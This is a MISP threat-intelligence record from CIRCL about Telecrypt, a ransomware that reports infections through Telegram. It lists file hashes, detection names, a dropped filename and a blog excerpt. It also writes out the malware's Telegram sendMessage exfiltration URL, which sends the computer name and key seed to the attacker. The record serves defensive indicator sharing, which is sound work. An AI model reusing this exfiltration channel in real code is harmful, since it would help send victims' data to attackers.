203 lines
No EOL
9.3 KiB
JSON
203 lines
No EOL
9.3 KiB
JSON
{
|
|
"Event": {
|
|
"analysis": "0",
|
|
"date": "2016-11-11",
|
|
"extends_uuid": "",
|
|
"info": "OSINT - The first cryptor to exploit Telegram",
|
|
"publish_timestamp": "1478861240",
|
|
"published": true,
|
|
"threat_level_id": "3",
|
|
"timestamp": "1478861156",
|
|
"uuid": "58259da4-7a10-4077-b31c-40cf950d210f",
|
|
"Orgc": {
|
|
"name": "CIRCL",
|
|
"uuid": "55f6ea5e-2c60-40e5-964f-47a8950d210f"
|
|
},
|
|
"Tag": [
|
|
{
|
|
"colour": "#ffffff",
|
|
"name": "tlp:white"
|
|
},
|
|
{
|
|
"colour": "#00223b",
|
|
"name": "osint:source-type=\"blog-post\""
|
|
},
|
|
{
|
|
"colour": "#3b7500",
|
|
"name": "circl:incident-classification=\"malware\""
|
|
},
|
|
{
|
|
"colour": "#006c6c",
|
|
"name": "ecsirt:malicious-code=\"ransomware\""
|
|
},
|
|
{
|
|
"colour": "#2c4f00",
|
|
"name": "malware_classification:malware-category=\"Ransomware\""
|
|
},
|
|
{
|
|
"colour": "#420053",
|
|
"name": "ms-caro-malware:malware-type=\"Ransom\""
|
|
},
|
|
{
|
|
"colour": "#39b300",
|
|
"name": "enisa:nefarious-activity-abuse=\"ransomware\""
|
|
}
|
|
],
|
|
"Attribute": [
|
|
{
|
|
"category": "External analysis",
|
|
"comment": "",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860252",
|
|
"to_ids": false,
|
|
"type": "comment",
|
|
"uuid": "58259ddc-30d8-4ee2-95ed-40d1950d210f",
|
|
"value": "Earlier this month, we discovered a piece of encryption malware targeting Russian users. One of its peculiarities was that it uses Telegram Messenger\u00e2\u20ac\u2122s communication protocol to send a decryption key to the threat actor. To our knowledge, this is the first cryptor to use the Telegram protocol in an encryption malware case.\r\nWhat is a cryptor?\r\n\r\nIn general, cryptors can be classified into two groups: those which maintain offline encryption and those which don\u00e2\u20ac\u2122t.\r\n\r\nThere are several reasons why file encryption malware requires an Internet connection. For instance, the threat actors may send an encryption key to the cryptor and receive data from it which they can later use to decrypt the victim\u00e2\u20ac\u2122s encrypted files.\r\n\r\nObviously, a special service is required on the threat actor\u00e2\u20ac\u2122s side to receive data from the cryptor malware. That service must be protected from third-party researchers, and this creates extra software development costs."
|
|
},
|
|
{
|
|
"category": "External analysis",
|
|
"comment": "",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860273",
|
|
"to_ids": false,
|
|
"type": "link",
|
|
"uuid": "58259df1-c488-4220-b436-41a5950d210f",
|
|
"value": "https://securelist.com/blog/research/76558/the-first-cryptor-to-exploit-telegram/"
|
|
},
|
|
{
|
|
"category": "Payload delivery",
|
|
"comment": "Trojan-Ransom.Win32.Telecrypt.a (the main module)",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860349",
|
|
"to_ids": true,
|
|
"type": "md5",
|
|
"uuid": "58259e3d-2e24-4128-87d1-4d02950d210f",
|
|
"value": "3e24d064025ec20d6a8e8bae1d19ecdb"
|
|
},
|
|
{
|
|
"category": "Payload delivery",
|
|
"comment": "Trojan-Ransom.Win32.Telecrypt.a (the \u00e2\u20ac\u02dcInformer\u00e2\u20ac\u2122 module).",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860349",
|
|
"to_ids": true,
|
|
"type": "md5",
|
|
"uuid": "58259e3d-5208-43aa-bb76-48d5950d210f",
|
|
"value": "14d4bc13a12f8243383756de92529d6d"
|
|
},
|
|
{
|
|
"category": "Payload delivery",
|
|
"comment": "Trojan-Ransom.Win32.Telecrypt.a (the \u00e2\u20ac\u02dcInformer\u00e2\u20ac\u2122 module). - Xchecked via VT: 14d4bc13a12f8243383756de92529d6d",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860394",
|
|
"to_ids": true,
|
|
"type": "sha256",
|
|
"uuid": "58259e6a-3bb4-4206-aa0e-4a7e02de0b81",
|
|
"value": "63fa775052a5c7258d44a00d9f2b4a9263f96fb7c61778cbb1ba9102fed2082f"
|
|
},
|
|
{
|
|
"category": "Payload delivery",
|
|
"comment": "Trojan-Ransom.Win32.Telecrypt.a (the \u00e2\u20ac\u02dcInformer\u00e2\u20ac\u2122 module). - Xchecked via VT: 14d4bc13a12f8243383756de92529d6d",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860394",
|
|
"to_ids": true,
|
|
"type": "sha1",
|
|
"uuid": "58259e6a-6864-4733-a33b-45b902de0b81",
|
|
"value": "54b8fc5de74856d90cad60da8cc41b98940e6a15"
|
|
},
|
|
{
|
|
"category": "External analysis",
|
|
"comment": "Trojan-Ransom.Win32.Telecrypt.a (the \u00e2\u20ac\u02dcInformer\u00e2\u20ac\u2122 module). - Xchecked via VT: 14d4bc13a12f8243383756de92529d6d",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860395",
|
|
"to_ids": false,
|
|
"type": "link",
|
|
"uuid": "58259e6b-67a4-48a1-9c8c-487402de0b81",
|
|
"value": "https://www.virustotal.com/file/63fa775052a5c7258d44a00d9f2b4a9263f96fb7c61778cbb1ba9102fed2082f/analysis/1478849458/"
|
|
},
|
|
{
|
|
"category": "Payload delivery",
|
|
"comment": "Trojan-Ransom.Win32.Telecrypt.a (the main module) - Xchecked via VT: 3e24d064025ec20d6a8e8bae1d19ecdb",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860395",
|
|
"to_ids": true,
|
|
"type": "sha256",
|
|
"uuid": "58259e6b-6eb0-40a8-b892-4d3902de0b81",
|
|
"value": "3d7dd597a465d5275ef31d9e4f9dd80ed4de6139a1b3707cb3b0ffa068595567"
|
|
},
|
|
{
|
|
"category": "Payload delivery",
|
|
"comment": "Trojan-Ransom.Win32.Telecrypt.a (the main module) - Xchecked via VT: 3e24d064025ec20d6a8e8bae1d19ecdb",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860396",
|
|
"to_ids": true,
|
|
"type": "sha1",
|
|
"uuid": "58259e6c-2474-458b-bb5a-4de702de0b81",
|
|
"value": "aaf26fd22d5cab24dda2923b7ba6b131772b3a68"
|
|
},
|
|
{
|
|
"category": "External analysis",
|
|
"comment": "Trojan-Ransom.Win32.Telecrypt.a (the main module) - Xchecked via VT: 3e24d064025ec20d6a8e8bae1d19ecdb",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860396",
|
|
"to_ids": false,
|
|
"type": "link",
|
|
"uuid": "58259e6c-ee68-4f25-8b74-4eb802de0b81",
|
|
"value": "https://www.virustotal.com/file/3d7dd597a465d5275ef31d9e4f9dd80ed4de6139a1b3707cb3b0ffa068595567/analysis/1478857845/"
|
|
},
|
|
{
|
|
"category": "Antivirus detection",
|
|
"comment": "",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860522",
|
|
"to_ids": false,
|
|
"type": "text",
|
|
"uuid": "58259eea-9530-496c-90f3-4a30950d210f",
|
|
"value": "Trojan-Ransom.Win32.Telecrypt"
|
|
},
|
|
{
|
|
"category": "Antivirus detection",
|
|
"comment": "",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860522",
|
|
"to_ids": false,
|
|
"type": "text",
|
|
"uuid": "58259eea-ce48-4930-9d09-4ae7950d210f",
|
|
"value": "PDM:Trojan.Win32.Generic"
|
|
},
|
|
{
|
|
"category": "Artifacts dropped",
|
|
"comment": ". The Trojan\u00e2\u20ac\u2122s sample that we analyzed does not change file extensions. A list of encrypted files is saved to the text file",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860569",
|
|
"to_ids": true,
|
|
"type": "filename",
|
|
"uuid": "58259f06-3824-4a78-9a3e-4590950d210f",
|
|
"value": "%USERPROFILE%\\Desktop\\\u00d0\u2018\u00d0\u00b0\u00d0\u00b7\u00d0\u00b0 \u00d0\u00b7\u00d0\u00b0\u00d1\u02c6\u00d0\u00b8\u00d1\u201e\u00d1\u20ac \u00d1\u201e\u00d0\u00b0\u00d0\u00b9\u00d0\u00bb\u00d0\u00be\u00d0\u00b2.txt"
|
|
},
|
|
{
|
|
"category": "Network activity",
|
|
"comment": "",
|
|
"deleted": false,
|
|
"disable_correlation": false,
|
|
"timestamp": "1478860649",
|
|
"to_ids": false,
|
|
"type": "comment",
|
|
"uuid": "58259f69-9228-457f-9e23-4769950d210f",
|
|
"value": "https://api.telegram.org/bot<token>/sendmessage?chat_id=<chat>&text=<computer_name>_<infection_id>_<key_seed>\r\n\r\nThe Trojan sends the next request using the method \u00e2\u20ac\u02dcsendMessage\u00e2\u20ac\u2122 which allows the bot to send messages to the chat thread of the specified number. The Trojan then uses the chat number hardwired into its body, and sends an \u00e2\u20ac\u0153infection successful\u00e2\u20ac\u009d report to its creators:\r\n\r\nhttps://api.telegram.org/bot<token>/sendmessage?chat_id=<chat>&text=<computer_name>_<infection_id>_<key_seed>\r\n\r\nThe Trojan sends the following parameters in the request:\r\n\r\n<chat> \u00e2\u20ac\u201c number of the chat with the cybercriminal;\r\n\r\n<computer_name> \u00e2\u20ac\u201c name of the infected computer;\r\n\r\n<infection_id> \u00e2\u20ac\u201c infection ID;\r\n\r\n<key_seed> \u00e2\u20ac\u201c number used as a basis to generate the file encryption key.\r\n\r\nAfter sending the information, the Trojan searches the hard drives for files with specific extensions, and encrypts them bytewise, using the simple algorithm of adding each file byte to the key bytes."
|
|
}
|
|
]
|
|
}
|
|
} |